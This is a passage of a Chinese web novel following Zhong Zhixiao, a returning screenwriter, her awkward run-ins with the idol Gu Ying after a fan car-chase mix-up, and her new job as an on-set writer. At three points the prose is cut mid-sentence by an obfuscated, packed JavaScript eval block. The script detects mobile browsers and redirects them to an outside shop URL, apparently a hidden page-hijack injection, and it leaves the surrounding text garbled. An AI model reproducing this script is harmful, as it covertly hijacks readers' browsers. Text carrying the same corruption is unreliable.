安静的车里,几人屏住呼吸面面相觑,咚咚咚再次敲响,这次急促地像是催命铃,心跳也如同咚咚咚的敲窗声急促起来。 大气不敢喘,作为唯一的成年人,钟知晓极力保持镇定,摸到手机,解锁输入110准备报警。 咚咚咚,敲的声音越来越急,越来越响。 后座靠窗的妹妹还是按下了开窗键,随着车窗慢慢往下,那人微微低头,清清楚楚地出现在众人面前,即便是戴了口罩,也能感受口罩下冷冰冰的脸。 几人倒吸一个凉气,有个妹妹下意识地说:“哥哥...对不起...” “那个,该回去了吧?”顾应一脸平静,语气却不容拒绝,任谁都能感觉到他的不爽。 本就安静的氛围,此刻更是安静得可怕,空气像是突然凝结,只剩下冷冰冰的空气一阵又一阵透过窗吹进车里。 哥哥? 看着几人的表情,头皮一阵发麻,钟知晓再迟钝此刻也明白是怎么回事了。 是顾应... 认命地叹了一口气,钟知晓解开安全带打开车门走了出去,却瞧见顾应眼神恶狠狠地盯着自己。 如果顾应的眼神是刀是剑,自己恐怕死无全尸... 从没被人用这样赤裸裸毫不掩饰讨厌的表情盯着,钟知晓不敢直视,道歉的话含在嘴里还没来得及说,劈头盖脸迎来一顿骂。 “跟我多久了?”从下飞机后一路上好几辆车跟在身后,不停换路不停甩,原以为甩开了,不知道从哪又冒出一辆,跟牛皮糖似的。顾应一股气直冲脑门,他皱着眉打量着钟知晓:“我看你应该成年了吧,成年人就该懂点事,学着当私生?脸也不要了?” “不是。”面对突如其来的指责,钟知晓着急地想要解释,“事情是这样的...” “不是?哦,那你是黄牛。”顾应翻了个白眼打断道,“看你人模人样的,做事怎么这么恶心?正经找个班上不好吗?” 说什么这只是误会,自己被几个小姑娘忽悠了?说自己也很无辜,钟知晓百口莫辩。 “你赚钱不要命,她们几个小不懂事也不要命吗?”顾应语气冰冷愤怒。 眼神可以杀人的话,钟知晓此刻应该千疮百孔了...虽然不是她主观意愿的跟车,但事实上确实也造成了顾应的困扰,解释再多也没用。 她自觉理亏微微低头:“给您造成困扰,对不起。” 没想到认错这么快,顾应不屑地哼了一声:“懒得跟你掰扯,我看你眼生这次就算了,下次真报警了,没跟你开玩笑。” 钟知晓低头道歉:“不好意思。” “还有,这么晚了,送她们回家。”顾应看了一眼其他几人,“别再跟了!” “好。”钟知晓轻轻叹气,回到车上。 回到车上开了一段路,王承盯着后视镜确认终于没有人再跟上来:“应哥,没人跟了。” 顾应靠在后座上没好气地嗯了一声。 “不过我还是第一次见跟车司机是个女孩,长见识了。”王承感叹,看来当黄牛真挺赚,这么年轻的女孩都当起了黄牛。 习惯不了一点,顾应只觉得烦得要命。从有名气开始,在学校上课吃饭有人拍,逛街有人假装偶遇,到后来发展为跟车,公司、小区楼下停车场日夜蹲守,生活毫无隐私可言。 不管怎么劝怎么说怎么报警依旧如此,未成年只有教育没其他办法。 回想起刚那黄牛下车的模样,满脸羞愧愤懑,估计是才跟车不久,之前遇到的黄牛才不管报警或是其他,经历多了自然一脸淡定。要不是看在那人初犯,不然非得报警不可。 “对了应哥,励哥千叮万嘱明天活动结束马上就得回沪明...”王承越说越心虚,他知道顾应不喜欢改动行程,但经纪人的叮嘱不能不转达,“不能留在这边,说是有个戏要谈。” 顾应一个眼神刀飞了过去,原计划在锦安休息两天,这下只能推后:“什么戏?” “励哥没说,只说比较急。” “知道了。”连轴转忙了一天,顾应有些累,静静地靠着,下意识摸着手上的表。夜晚的锦安跟记忆里早已变了模样,或许说他早就不记得以前的锦安。 没人知道顾应曾在锦安生活过几年。 那时候父母离婚,他随着母亲顾云华回了锦安,后来...母亲去世,十来岁的顾应不得已被父亲周胜全接走,连姓名也改了,像是要把母亲的痕迹抹掉。 直到成年后他自行去派出所改回了名字,随母姓。 顾应,是妈妈留给他的名字,还有一块手表,除此之外只剩下模糊的记忆。 年纪太小很多事记不清楚,但他记得小顾应每天最开心的事情就是放学时见到妈妈,记得妈妈带他去游泳,记得妈妈充满关爱的眼神,明亮温柔。 车窗外夜已深,连月亮也瞧不见踪影。一路疾驰扫过的除了路灯,什么都没有,撒在身上的光半分温暖也不曾有,真是...空落落。 另一边车里,被指责一番,钟知晓觉得冤枉极了,撇着嘴启动车。这都什么事啊,自己是无辜的啊。 钟雨洁弱弱地开口:“晓晓姐,对不起。” 一路上钟知晓都没再说话,在追星圈子里有这样的群体,她不是不知道,将车停好后才开口:“雨洁,今晚你是有预谋准备跟车的吗?” “群里有人说接机,我就跟着去了。等了好久结果顾应走的VIP通道,没看到人。”钟雨洁还没意识到自己问题,解释说,“然后我听旁边的姐妹说有车跟去酒店,只不过半路故障了...” “这就是跟车啊,你知不知道这叫私生?私生是什么我想你比我清楚。” 钟雨洁垂着眼:“可是顾应好不容易来一趟锦安,我就想看一眼。” 像雨洁这么大的时候,钟知晓也追星,不过仅限于同学之间聊天看剧听歌。 “喜欢没有问题,想看他也没有问题,有公开的活动你去看就好了。像今天这样,私底下这样是跟踪,是违法。”钟知晓担心地说:“而且跟车很危险,你想过没如果磕了碰了出了事故怎么办?” 钟雨洁不服气,觉得自己明明什么也没做:“我想离他近一点,多看他一眼,我也没打算做什么。” 简直歪理!钟知晓无语:“你有没有想过,凭什么你的喜欢要用他的隐私来成全?要是有人偷偷看你上课跟着你回家,你不难受吗?不瘆得慌吗?” 当然不对,钟雨洁知道:“对不起,我以后不这样了。” “雨洁,我不是要教你做事。”钟知晓清楚现在的小孩不喜欢说教,没人喜欢听说教,不过是跟钟雨洁有血缘,不想她年纪小做错事。她耐心地说:“你还小没成年,你又是我表妹。追星可以,但是要理智,你希望他很好,那你也要很好。这才是偶像的作用不是吗?” “知道了。”钟雨洁抬眼有些不安,“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17546082|204153||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 那我爸妈...” “我只是在路上偶遇你顺道送你回家。” 一阵折腾,回到店里早就关门了,钟知晓径直回了家,灌了几口冰水。 回想今晚发生的一切,自己在不知情的情况下当了一回黄牛跟私,还被抓了现行,这都什么事啊! 算了,反正顾应也不认识自己,而且现在自己也没写剧,跟圈里完全没关系。 说得好像以前有...钟知晓无奈地自嘲,以前往后都没有关系。 现在回了家,自己的日子才是要好好过。 话是这样说,夜照样熬,追剧看电影像是要把之前落下的全都补齐。 堕落吧,熬夜吧。 反正也没想好做什么,这样的日子趁年轻可劲造吧。 周末十一点孙萍轻手轻脚关好门去了店上,马上就要进入用餐高峰,钟远峰忙着备菜,头也没抬问:“晓晓还在睡?” 孙萍轻声叹气:“我听见她早上才睡。” 叹气像是会传染,钟远峰也跟着叹了口气:“连续好几天到晚上才下来吃饭,这样下去身体怎么受得住。” 两个人在学校里教了一辈子书,面对自己孩子时反而畏手畏脚。孩子大了,有些事不愿说,也从不勉强。 钟知晓其实在老妈出门的时候就醒了,熬夜后眼睛又干又涩很不舒服,闭上眼怎么也睡不着。 躺到腰酸背痛,肚子咕噜噜叫,便随便找了一件外套穿上,去了店里。 过了饭点店里顾客走得差不多,老钟在厨房里收拾,老妈在跟人聊天。 “晓晓回来了?我昨天听潇潇说瞧见她了。”说话的人是老妈的同事王姨,也是杨潇的妈妈,钟知晓犹豫片刻躲在门外,没进去。 孙萍嗯了一声,不太想接话。 王姨问:“回来玩还是留下不走了?锦安挺好的,要我说出去吃那个苦做什么?” “回来待段时间,晓晓她自己有主意。” “听说还是在当编剧吗?都写了什么剧?”王姨声音很大,躲在门外钟知晓听得一清二楚。 “像是寻梦的人、水中人生...”孙萍瞎说了一堆虚构的剧,老妈编故事张口就来。连老妈都觉得现在的她没办法向朋友同事提起,她是一个无业游民,在外地灰溜溜地失败了,溃不成军逃回了家。 “我怎么都没听说过?” 孙萍将菜打包好:“你不知道从写剧本到播出需要很长时间吗?到时候播出你看吧。” 王姨没再说话,提上菜走了。 等人走远后,钟知晓若无其事进了店,轻车熟路坐下吃饭,孙萍忙完在一旁坐下,欲言又止。 不用说,钟知晓明白爸妈的担忧,可她自己也没想好未来要做什么,此刻她不想去聊自己那摇摆漂浮不定的明天。 吃了两口,钟知晓没底气地转移话题:“老妈你没事的话回家休息吧,下午晚上我在店里帮忙。” “我不累。”孙萍看着女儿即便戴上黑框眼镜也遮不住的乌青黑眼圈,一阵心疼,当妈的知道女儿自尊心强,可是这样熬夜伤害身体,孙萍是怎么也不愿看见,她只想钟知晓健康平安。 “我还剩两三个月就退休了,以后时间也多,我在想是在这个店上好好帮你爸,还是...”孙萍抬眼试探地问,“晓晓,你有没有什么想法?不然我俩一起开个奶茶店,你喜欢吗?” 老妈这是在婉转问自己今后想要做什么?钟知晓回答:“妈你别去想着到处投资,开店破产三件套奶茶咖啡和汉堡。” 孙萍疑惑:“有这个说法吗?” “怎么没有,很多中年人瞎投资加盟几十万亏完了,网上很多这样的例子。”钟知晓放下筷子,十分郑重地说:“孙萍女士你答应我,要做什么前先跟我说,别急着给钱。” “好,我不乱投资。” 良久,钟知晓轻轻开口问道:“妈,你是不是也觉得我很失败?” 5. 第 5 章 如何定义成功和失败? 钟知晓想,成功应该就是功成名就吧,为了自己的梦想经历波折,付出所有努力终于实现,这算是成功吧,所有故事里都是如此写的。 就算闯不出个名头,但毫无疑问自己这样是百分百的失败。 “失败?”孙萍温柔地问道,“你和谁斗争竞赛了吗?” 钟知晓摇头:“没有...” “既然没有斗争,何来的失败?人生从哪里开始是比赛?” “可是...我在外地混不下去灰溜溜只好逃回家。”钟知晓放下筷子,低着头轻声说,“你不也是这样想的吗?” 孙萍着了急:“钟知晓我什么时候这样想过,你少冤枉人!” 钟知晓抬眼问:“那你为什么跟王姨瞎编?” “她自己瞎话一大堆,我这是见人说人话,见鬼说鬼话。” 钟知晓哦了一声。 “管别人做什么,日子是他们过还是自己过?别人的有他们的苦。”孙萍轻哼一声,“我们呢,只需要看见自己的好。” 钟知晓垂下眼:“可...是我这样的...” “你这样的怎么了?都没有比赛何来的失败?”孙萍搂着她,“从小我和你爸对你没有别的要求,只希望你健康平安。你现在好好的,在我们俩眼里就是无比成功。” 两口子算是开明的父母,没有多大愿望,不强求孩子成材成为人中龙凤,学习上专业上也是跟随钟知晓的心意,连她最叛逆的青春期,一家人也很少红过脸。 钟知晓挪了挪,头靠在孙萍肩上,鼻子抽抽说不出话来。 “还有现在就业环境不太好,不好的工作不要勉强去做,免得把身体累出个问题来。”孙萍像小时候一般轻拍钟知晓的背,“这个年代听说过上班猝死的,没听说不上班饿死的。有我和你爸在,还有姥姥,晓晓你好好的,我们才放心。” “我好幸运...”钟知晓话只说一半,不顾老妈的追问,心放松了许多起身收拾刚吃完的桌面。 在这样重复、无聊又琐碎的日常里,她好幸运能有这样的家人。 这天起钟知晓开始调整作息,强制自己上午醒来去店里帮忙,人不能光吃饭不做事。 不是只有爸妈心疼她,同样她也心疼爸妈。 有事做忙起来反而好了很多,累极了反而晚上倒下床秒睡,睡眠质量比以往好了不少,深睡时间也不再断断续续。 在店里钟知晓负责点菜收银,有的时候厨房忙不过来,老妈还要上手炒菜。她也在前厅上菜打包招呼客人,能做的都做,有时候姥姥从隔壁过来凑热闹,坐在门口,起个镇店之宝的作用。 周五周末人比较多,店里忙,不过招了两个兼职也算能忙得开。 难得钟知晓睡了个好觉,再睁开眼已经是中午,简单洗完脸换好衣服下楼。 尽管做好心理准备,但饭点的忙碌依旧让人脚不沾地,扎好的头发微微凌乱。收银台上姥姥给她放了不少零食,撕开一小包浅尝辄止,忙完钟知晓累得没什么胃口。 店里渐渐人少了,她坐在收银台歇气。刚歇息没几分钟,又一位客人走进来,钟知晓拿上菜单递过去介绍道:“这一栏是我们的招牌。” “那就泡椒兔,再来一个水煮牛肉,加一个冷吃兔,炒个时蔬。” 店里还沿用老式手写点单,钟知晓在单子上飞快地写着,头也没抬问:“你们几个人?” “一个人。” “一个...?”钟知晓习惯性建议道,“不用点这么多,你吃不完。” “我请你。” 钟知晓这才抬眼,惊讶地喊道:“师哥!” 丁恺之认真打量一番:“晓晓,你这样子还挺像模像样的。” 钟知晓不太好意思地低下头,在家这些日子早已习惯不打扮,每天头发随意扎扎,戴个黑框眼镜,衣服也是怎么舒适怎么来,跟在沪明上学工作时打扮完全大变样。 “我没其他的意思。”丁恺之想解释发觉解释不清,算了懒得解释,反正钟知晓知道他的意思。 “我知道。”钟知晓问,“可是师哥你怎么来锦安了?” 丁恺之郑重地说:“我专程来找你。” 钟知晓诧异道:“啊?” “我有个戏要拍,想找你跟我一起进组,你来当跟组编剧。” 在大学时,丁恺之的研究生导师是钟知晓专业的老师,课堂上他俩就那样认识了。后来毕业即便诸多的现实摆在眼前,丁恺之依旧在行业里苦苦打拼,从场务执行副导演,到现在终于能挂上自己主导的名字。 钟知晓发自内心地为师兄感到开心,开心之余面对进组邀请犹豫起来,不自信地问:“我吗?” “以前我们说过要一起做心中的电影,你写我拍。”丁恺之无比坚定点头。 不是不想,是钟知晓胆怯了,是几年的经历让她胆怯了。 原创本投出去石沉大海,改编本来来回回修改无数次,得到的回复是不适合当编剧,行业里编剧老师和甲方的话历历在目。 否则她也不会在一个平淡日子里痛哭流涕,转向别的行业,虽然现在也是宣告失败。 这些话要如何说呢,没人愿意承认自己的失败吧。钟知晓支支吾吾地说:“师兄...我已经没在编剧工作室了。” “我知道。”丁恺之从别的同学那听说了,“但我清楚你的水准,晓晓我相信你的能力。” 那时候,丁恺之无意看到钟知晓写的剧本,平平淡淡的小故事,但戳中他的内心,很是喜欢。 一来二去的交流讨论中,有同频共振的喜好,两个年轻人做着同样的电影梦。 见钟知晓低着头没应声,丁恺之继续问:“难道你甘心就这样放弃吗?” 当然不甘心。 那时候意气风发,总以为有无限未来。仿佛回到学校,回到小剧场,钟知晓沉浸在电影梦里,唏嘘着。 “找你跟组,除开以前的原因,当然也有别的原因,我不想瞒你。”丁恺之解释道:“现在的问题是延期导致演员有了变动,原定编剧没时间跟组,演员方想要插他们的编剧。我肯定想编剧是我这边的自己人。晓晓,你是我的最优人选。” 不管是性价比最高还是任劳任怨统一战线,但被人相信,钟知晓难免触动地抬起眼:“师哥,可是...” “我不勉强你,你好好考虑,想清楚了跟我说。当然不管是从你师哥角度还是从这部剧的角度来说,”丁恺之十分诚恳地说,“我想你答应,希望你答应。” 钟知晓记起刚毕业的一年,在编剧工作室里一整年收入不到几千块。靠着各种接别的活,靠着家里给的钱,为爱发电。 后来写剧本,一遍又一遍反反复复修改,到最后项目不了了之,或者交付给更有名气的编剧,她是那只可有可无的蚂蚁。 “在这一行我知道很多时候身不由己,要不断地改、要不断满足所有人意见,这些年工作的每天我都是如此。”丁恺之像是知道钟知晓的顾虑,“现在我们想讲的故事,想拍的电影,以我们现在的名气、地位来说拉不到 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17546083|204153||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 投资很正常。时机没成熟,但我们可以从剧开始,一步一步来。从最小开始,有了声量后续不愁没有。” 想讲的故事,钟知晓都快忘了曾经的她,只是有一颗想要说好故事纯粹的心。 丁恺之补充道:“对了,这项目的酬劳比平均薪资高出不少。” 等人走后,钟知晓坐在收银台发呆,直到孙萍走过来问:“刚那人是你同学?” 钟知晓嗯了一声:“是大学的学长,导演系的。” 孙萍好奇地问:“他特地来找你做什么?” 钟知晓犹豫片刻,全盘托出,孙萍反问:“晓晓,你是怎么想的呢?” “我不知道。”钟知晓是真的不知道,想去又害怕。 这么多年,孙萍清楚女儿的梦想。她耐心开解道:“听起来现在是个机会,你不是一直想写剧写电影吗?机会来临时要抓住,不要怕去尝试,开始了才知道问题在哪里,出现问题再去解决。” 钟知晓抬眼注意到孙萍眼角的皱纹、鬓间几丝白发变得明显,再转头看向钟远峰,正在厨房里炒得一团热气腾腾,隔壁的姥姥身体一天一天不如以前。 不禁声音变得哽咽,话卡在喉咙艰难地想要开口,“妈...” “无论何时晓晓你想回家,我、你爸、姥姥,我们仨一直会在这里。”短短一句话,孙萍表明了自己的立场,对女儿的支持,放心去飞吧。 晚上忙完钟知晓坐在电脑桌前,自己能行吗?她不确定。 在害怕什么?钟知晓问自己。 不想承认,不愿承认。她害怕看清楚现实,自己不是一个当编剧的料,害怕一次又一次的失败。 即便老妈白天刚刚安慰了自己,人生没有比赛也就谈不上成功或失败。如果内心的困惑忧虑能被几句话开解,世界就简单多了。 老妈说的是一回事,而说服自己这样想那样做,又是另一回事。 对于世俗来说,自己这样不就是失败吗? 失败太多次,面对机会变得畏手畏脚。 这不是软弱,是身体的自我保护机制。面对有过创伤的地方,大脑开启保护机制,阻止着人,一遍又一遍地说别去,算了。 一晚上时间,钟知晓躺在床上翻来覆去,彻夜难眠。从未觉得夜有那么长,静静数着时间,一分一秒听着时间逝去的声音。 以前看书看电视,为里面的人物哭得死去活来,跟随他们的情绪跌宕起伏,做梦有一天自己也要写这样的故事。年少的梦一天天离自己越来越远,钟知晓想起丁恺之描绘的那个场景,去造梦,那眼神充满着坚定,语气充满着希望。 如果自己注定失败的话,那故事里的人能不能替她自己好好活一次呢。 没有开灯的房间里,钟知晓翻了一个身对着窗外,窗帘拉得不够严实,光透过缝隙透进来一丝。黑暗中闪着一丝光,像是在蛊惑她靠近。 去还是不去?去了肯定会遇到很多问题困难,但不去的话会后悔吧。那就去,反正怎么选都有这样那样的问题,那就不纠结了。 痛就痛吧,要成角就得痛。 要得多痛才能成角,钟知晓不清楚,只知道现在的自己愿意用痛去换那一点点机会,即便得到的结果依旧是失败,但她想要争取那一点点的可能。 失败太多次的人,需要一个机会需要一场成功证明自己,而眼前的工作便是这个机会,是那个可能。至少在以后别人问起自己写过什么剧,老妈不用再虚构瞎编。 天微微发亮时,她给丁恺之回去消息:师哥,我去。 6. 第 6 章 剧组那边很着急,发来消息让钟知晓速去,开机在即,剧组没时间等,多一天剧组就得多烧一天的钱,片刻也耽误不了。 跟家里人说完这个消息,虽然爸妈姥姥脸上都是开开心心的,但心里的不舍和钟知晓一样。刚下定回家的决心,又被推翻。还没在家待上一个月,又要离开。 不舍,但前方有迷人的梦在招手,她抵挡不住这样的诱惑,不甘心认输。 “晓晓,如果工作上遇到难受不要忍。”钟远峰心疼地叮嘱道,“我们虽不是大富大贵之家,但也不要怕,不干了不是什么事。” “好好的你说这个干啥。”姥姥听不下去,“晓晓那么聪明,一定会顺顺利利。” “知道啦,你们要相信我,我会好好的。”钟知晓笑了笑宽慰道:“老板凶我的话,我就跟他拍桌子尥蹶子,不干了!” “家里你放心,我退休后专心和你爸把店做大做强。”孙芳萍强忍着情绪,“有什么事不要不说。” “我先去看看能不能闯出个名堂,等着我啊。”钟知晓鼻头发酸,一把搂住姥姥、妈妈还有老爸,抽抽鼻子,“姥姥,你少刷点视频,玩也要有个度!妈妈,不要那么辛苦,上完课累了就回家休息。还有老钟,你要照顾好自己,酒可以喝但少喝,要休息好。” 一一叮嘱好后,钟知晓不愿在机场分别,独自拉着行李箱走了。后视镜里姥姥站在后面亦步亦趋,爸妈相互靠着向她挥手。 视线变得模糊,镜子里的人越来越小,直到消失不见,脑海里相处的画面却更加清晰,钟知晓任凭眼泪落下,任凭风吹干脸上的泪。 放心吧,爸妈姥姥,我会努力,我会成功,我会闯出一个新天地来。 剧组给工作人员包了酒店,拍摄周期预计三个月左右,钟知晓只带了一个箱子,下飞机转高铁到了生活制片给发的定位,酒店环境比她想象中的好出不少。 短暂休息后,钟知晓再次翻开剧本,为了更熟悉剧本、更好地理解人物,方便后续改动。在家几天看了好多遍剧本,也和总编剧老师一直在交流讨论,就差烂熟于心了。 一大早房间门被敲响,钟知晓开了门,丁恺之站在门口说:“等会中午一起吃饭去,下午开会演员方工作人员也来了,看看他们的意见,聊聊改动情况。” 钟知晓点点头,演员变动之前听丁恺之提过一句,没确定下来就没细问。 两人一左一右走着,丁恺之问:“怎么样,刚来习惯吗?” “还行,现在也不算太热。”钟知晓想了想,“就是剧组还挺大方的,订这么好的酒店。” 来之前跟大学室友交流听说跟组环境算不上好,但以前也没跟组经验,写的活不多,毕竟在行业里没有资历没多少经验,这才能来还得是丁恺之推荐。 丁恺之笑笑没多解释,“对了崔姐也在,刚好能碰一面。” “好。”崔姐是制片人,剧组的老大,钟知晓有些没底气,到底是临时上岗,也不知道制片人能不能满意。 “崔姐人不错,我把你写过的稿发给她看了,你放心她很满意。”丁恺之停住脚步,“而且你就是写得很好。” “师兄就你夸我写得好。”钟知晓轻轻叹息,随即一想都答应接这个工作,还是得拿出底气来,她换了神情语气,拍拍胸脯表示,“丁导,我好好干,争取不给你拖后腿。” 丁恺之笑了两声:“好的,钟老师。” 有说有笑像是回到学校,所有的烦恼苦思都来源于创作,偶尔烦更多是沉浸其中的快乐。 包间里,剧组里相关工作人员早已围坐在一块,丁恺之带着钟知晓简单介绍了一下,寒暄过后开始讨论接下来的拍摄。 整体搭建早已完成,剧本着急因为原定男主角延期进了别的组没办法再来,崔姐靠着强大的自身谈判能力,拉到了当今热门流量顾应,迅雷不及掩耳之势定了下来。 顾应...怎么是他? 想起上次深夜追车情景历历在目,钟知晓有片刻愣神,不敢分心太久抬着头认真听。 “首先感谢崔姐丁导的认可,顾应包括我们团队挺喜欢这个本子的,不然也不会各方协调时间将档期排出来。”说话的是顾应的经纪人谢励,话里话外恭维一番接着道,“说实话原剧本已经很好了,我们没什么意见,不过呢其中有一些地方,我们团队呢想针对演员本身特质来进行调整,这样才好发挥出演员和角色之间的羁绊共鸣。” 崔姐点头表示认可,谢励还在喋喋不休地讲:“我们团队一致讨论,是不是男主的出场可以提前一些,还有男主女主中途分开有没有这个必要,其实完全可以安排他俩一起的,还能增加感情浓度。” 明白了,这是嫌戏份太少。 原剧本是围绕女主成长,男主着墨少,留白不一定是坏事。如果按照谢励说的那样修改,会变成名副其实的镶边背景板男主...钟知晓暗自吐槽,不过还是实事求是将剧本剖开认真解释为何如此设定:“况且有分开才能显出在一起的珍贵,在重逢那一刻才能凸显出彼此的重要。如果男主没有自己的线,不管戏份多少...都只是依附女主。” 话到嘴边还是改了口,职场里要委婉一些。 谢励倒也没咄咄逼人:“那编剧老师看看怎么修改比较合理。” 钟知晓清楚流程,这一趴基本上是之前终稿后剧本会上提出来的,这次情况特殊拍摄前演员有变动,时间紧迫。她做好了心理准备,一一记下谢励提出的修改意见,不管可行与否。 从下午聊到天黑,几方提出意见后展开讨论,太久没有经历剧本会,钟知晓竟有热泪盈眶的感觉。 散场前谢励客气地说,“那就麻烦你编剧老师了,还得拜托给我们家顾应加点高光时刻呢。” “没有没有,应该的。”钟知晓唯唯诺诺地应声,剧本不是她写的,她这种没资历的新人只有配合的份。 不敢耽误片刻,钟知晓回了酒店同编剧助理葛双闭关,针对制片、导演、演员三方的意见进行修改,边写边讨论是否合理,怎样不崩人设。再回过神来已经是凌晨三点,一旦坐下就是好半天,动也不动,水也不喝一口。手有些麻,这才哪跟哪啊,有机会得抓住! 两人接力,改了两天准时交完稿,钟知晓被丁恺之叫到片场,以便在拍摄时讨论剧本。 到了片场,这些天全在拍的女主陈念的戏份,监视器里陈念从头到脚,连头发丝都很美。男主顾应没进组,时间卡得很紧,赶着结束上一个剧组的拍摄,看通告单还得几天才能到。 陈念的拍摄卡了好几次,节奏不对,丁恺之皱着眉头:“话不对。” “是词的问题,还是场景?”钟知晓脑子迅速转动。 “这里哭戏太直白了,女主跟家一般的门派决裂,现在的感觉就是太轻飘飘,不搭。” 来回讨论,修改不能导致人物逻辑崩塌,钟知晓思考片刻给了两个方案的改动,一是台词更加决绝,二是场景微调,哭戏变含蓄和台词贴合。丁恺之在脑海里过画面,拍板选了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17546084|204153||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 含蓄的方案。 现场改完,同步给场记。还没等到钟知晓歇口气,得到通知隔几天要拍摄的场地没协调下来,还得根据场景变化做剧本上的修改调整。跟组编剧和普通编剧有很大不同,跟组编剧负责执行,事情繁杂且需要随时随地待机,准备根据各种情况修改调整剧本,一切都是为了顺利完成拍摄。 出了片场,每个拍摄场地都有不少粉丝以及代拍,今天或许是这个流量,明天又是另一位。车辆穿过人群,钟知晓没心情羡慕,还有工作等着处理。 回到酒店,出乎意料今天外面站了不少粉丝,钟知晓低着头快步穿过酒店大堂,电梯门关上的一刻她飞快地按了上行按钮。 电梯门再次打开,她走进去准备按楼层,却发现六楼早已被按下。好几层楼被剧组包下,钟知晓转头想看是哪位同事打个招呼,就在回头的瞬间呆住,顾应正打量着她。 钟知晓眼睛因惊讶微微睁大,一时之间不知如何开口,是顾应...完蛋。随即立刻回过头往另一处角落不自然挪动,假装没看到、假装看手机。 叮的一声,门开了。顾应和另外三两个工作人员一前一后走了出去,钟知晓等人走完了才小心翼翼走出去。 不曾想,转弯处顾应突然停下来转过身像是等着她走过去一般,这下再也不能装没看到。钟知晓尴尬地抬起头扯出微笑,准备打招呼自我介绍,虽然在剧组人微言轻,但后续百分百会有工作接触,躲得了一时躲不了一世。 “我看你还是有点本事。”顾应开口嘲讽,刚进电梯时他就觉得有些眼熟,这不就是之前跟车的女黄牛吗!看来真是私生,被骗了呵。 “啊?”钟知晓不解,是在说自己当跟组编剧吗?可这个活在行业里稍微有点名气的编剧都不会来,很辛苦。 “你怎么混进来的,买通了安保还是谁?”私生粉的手段真是层出不穷,顾应语气冰冷,“我没时间跟你费功夫,王承报警。” “等等!”听到这钟知晓察觉不对,着急道,“你以为我在跟踪你吗?” 顾应翻了个白眼没耐心:“不然呢,难道你还住这里?” “我真住这里...602”钟知晓从包里摸出房卡在顾应眼前摇晃展示,随即走到房间门口刷开... “呵还搞了万能卡,这下正好抓你个现行。”顾应挡在门口不让钟知晓进去,“上次在锦安见你面生,念你初犯没报警,这次别想逃,好好反省。” “我没有!真没有,上次的事情真的是误会。”钟知晓急着否认,上次和这次撞到一起,接二连三被误会,真够倒霉。 “误会?这次也是误会?”顾应完全不信,下飞机后从机场跟过来不少尾巴,结果到了酒店,还有跟进楼层的尾巴,他面色不悦,“你们真的够了,天天跟,有完没完!!到底想干什么!” “我是剧组工作人员。”钟知晓忙指着身上衣服上明晃晃的四个大字【我要飞升】:“真的,你看我穿的是剧组发的衣服。” 王承靠近小声说:“应哥,确实是剧组的衣服。” 眼前的人是有多疯,竟然还能混到剧组内部,有这个毅力做什么不好,偏偏要当私生。顾应被气笑了:“不管你花了多少钱,从哪来的往哪回。” “顾应老师,自我介绍一下,我是这次的跟组编剧钟知晓。刚收到通知,隔两天拍摄的场地没协调下来,统筹正等着我修改,真有点着急。”钟知晓深深叹了一口气:“虽然...您长得很帅,但我真不是你粉丝,我不追星。” 7. 第 7 章 不追星?什么...难道是误会?不对啊,之前这人还跟车,哪有那么巧的事,顾应压根不信。 “在锦安那次跟车,是...是误会,我以为她们有东西落在你们车上,才跟了上去。”钟知晓诚恳地道歉:“我是无心之失,对您造成了困扰,再次跟您道歉。当然我也跟表妹说了喜欢要有边界,她跟我保证不再跟了。” 顾应半信半疑,判断钟知晓话里的真实性,语气诚恳神态真诚,难道真是自己误会了?还是说此人演技高强,目前看不出个所以然,他撇着嘴哦了一声,没再说什么。 “原来是误会一场。”王承笑着打圆场:“编剧老师,那您快去忙吧,我们不打扰了。” 钟知晓礼貌地微微鞠躬关上了门,心里只有工作。 留下门外的人面面相觑,顾应轻哼一声,不管真假,总之得离钟知晓远一点,不是没有那个可能。 “应哥,你这样也不怕编剧老师给你删减戏。”王承毕业没多长时间,工作时间也不长,担心地说:“会不会给你写乱七八糟的戏?” “你瞎担心个啥,先不说她只是跟组编剧,就算是总编剧也不能瞎写应哥的戏。”说话的人是工作室的宣传吴昂,跟组拍物料,他不屑地说:“你当励哥吃素的,你当应哥粉丝吃素的。” 顾应没接话进了房间,上个剧组昨晚连夜赶工拍完,忙完又赶紧赶到这个组,有些累... 他懒懒地躺着打开收到的新剧本,今早看了四分之一,跟上一版剧本比起来改动不算大,但修改后的情节确实跟他本人更加贴合了些。 剧情整体也没多大特别之处,主角当然是女主,他算半个镶边男主,篇幅戏份也不算多。 